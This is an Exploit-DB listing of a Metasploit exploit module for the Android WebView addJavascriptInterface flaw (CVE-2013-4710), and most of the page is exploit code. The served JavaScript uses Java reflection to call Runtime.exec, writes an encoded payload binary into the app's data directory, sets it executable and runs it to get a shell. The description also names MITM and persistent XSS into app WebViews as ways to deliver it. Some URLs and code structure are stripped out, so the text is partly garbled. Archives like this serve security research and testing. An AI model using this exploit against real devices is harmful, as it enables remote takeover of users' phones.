Android Browser and WebView addJavascriptInterface - Code Execution

ID EDB-ID:31519
Type exploitdb
Reporter metasploit
Modified 2014-02-07T00:00:00


Android Browser and WebView addJavascriptInterface Code Execution. CVE-2013-4710. Remote exploit for hardware platform

# This module requires Metasploit: http//
# Current source:

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn

    :os_flavor  => "Android",
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => %Q|
      for (i in top) {
        try {
          is_vuln = true; break;
        } catch(e) {}

  def initialize(info = {})
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description' => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      'License'     => MSF_LICENSE,
      'Author'      => [
        'jduck', # original msf module
        'joev'   # static server
      'References'     => [
        ['URL', ''+
        ['URL', ''],
        ['URL', ''],
        ['URL', ''+
      'Platform'       => 'linux',
      'Arch'           => ARCH_ARMLE,
      'DefaultOptions' => { 'PrependFork' => true },
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Dec 21 2012',
      'DefaultTarget'  => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :os_flavor  => "Android",
        :arch       => ARCH_ARMLE

  def on_request_uri(cli, req)
    if req.uri.end_with?('js')
      print_status("Serving javascript")
      send_response(cli, js, 'Content-type' => 'text/javascript')

  def on_request_exploit(cli, req, browser)
    print_status("Serving exploit HTML")
    send_response_html(cli, html)

  def js
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the runtime so we can exec
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";

        // get the process name, which will give us our data path
        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
        path += '/#{Rex::Text.rand_text_alpha(8)}';

        // build the binary, chmod it, and execute it
        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
        m.invoke(null, null).exec([path]);

        return true;

      for (i in top) { if (exec(top[i]) === true) break; }

  def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"